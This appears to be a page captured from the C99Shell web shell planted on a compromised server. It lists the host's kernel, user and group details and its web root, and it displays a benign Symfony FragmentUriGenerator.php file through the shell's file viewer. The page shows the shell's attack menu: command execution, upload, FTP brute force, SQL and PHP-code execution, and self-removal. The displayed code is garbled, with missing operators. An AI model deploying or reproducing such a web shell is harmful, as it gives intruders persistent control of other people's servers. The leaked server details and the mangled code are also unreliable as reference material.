!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/vendor/symfony/http-kernel/Fragment/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FragmentUriGenerator.php (3.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\HttpKernel\Fragment;

use 
Symfony\Component\HttpFoundation\Request;
use 
Symfony\Component\HttpFoundation\RequestStack;
use 
Symfony\Component\HttpKernel\Controller\ControllerReference;
use 
Symfony\Component\HttpKernel\UriSigner;

/**
 * Generates a fragment URI.
 *
 * @author Kévin Dunglas <kevin@dunglas.fr>
 * @author Fabien Potencier <fabien@symfony.com>
 */
final class FragmentUriGenerator implements FragmentUriGeneratorInterface
{
    private 
$fragmentPath;
    private 
$signer;
    private 
$requestStack;

    public function 
__construct(string $fragmentPath, ?UriSigner $signer null, ?RequestStack $requestStack null)
    {
        
$this->fragmentPath $fragmentPath;
        
$this->signer $signer;
        
$this->requestStack $requestStack;
    }

    
/**
     * {@inheritDoc}
     */
    
public function generate(ControllerReference $controller, ?Request $request nullbool $absolute falsebool $strict truebool $sign true): string
    
{
        if (
null === $request && (null === $this->requestStack || null === $request $this->requestStack->getCurrentRequest())) {
            throw new 
\LogicException('Generating a fragment URL can only be done when handling a Request.');
        }

        if (
$sign && null === $this->signer) {
            throw new 
\LogicException('You must use a URI when using the ESI rendering strategy or set a URL signer.');
        }

        if (
$strict) {
            
$this->checkNonScalar($controller->attributes);
        }

        
// We need to forward the current _format and _locale values as we don't have
        // a proper routing pattern to do the job for us.
        // This makes things inconsistent if you switch from rendering a controller
        // to rendering a route if the route pattern does not contain the special
        // _format and _locale placeholders.
        
if (!isset($controller->attributes['_format'])) {
            
$controller->attributes['_format'] = $request->getRequestFormat();
        }
        if (!isset(
$controller->attributes['_locale'])) {
            
$controller->attributes['_locale'] = $request->getLocale();
        }

        
$controller->attributes['_controller'] = $controller->controller;
        
$controller->query['_path'] = http_build_query($controller->attributes'''&');
        
$path $this->fragmentPath.'?'.http_build_query($controller->query'''&');

        
// we need to sign the absolute URI, but want to return the path only.
        
$fragmentUri $sign || $absolute $request->getUriForPath($path) : $request->getBaseUrl().$path;

        if (!
$sign) {
            return 
$fragmentUri;
        }

        
$fragmentUri $this->signer->sign($fragmentUri);

        return 
$absolute $fragmentUri substr($fragmentUri\strlen($request->getSchemeAndHttpHost()));
    }

    private function 
checkNonScalar(array $values): void
    
{
        foreach (
$values as $key => $value) {
            if (
\is_array($value)) {
                
$this->checkNonScalar($value);
            } elseif (!
\is_scalar($value) && null !== $value) {
                throw new 
\LogicException(sprintf('Controller attributes cannot contain non-scalar/non-null values (value for key "%s" is not a scalar or null).'$key));
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--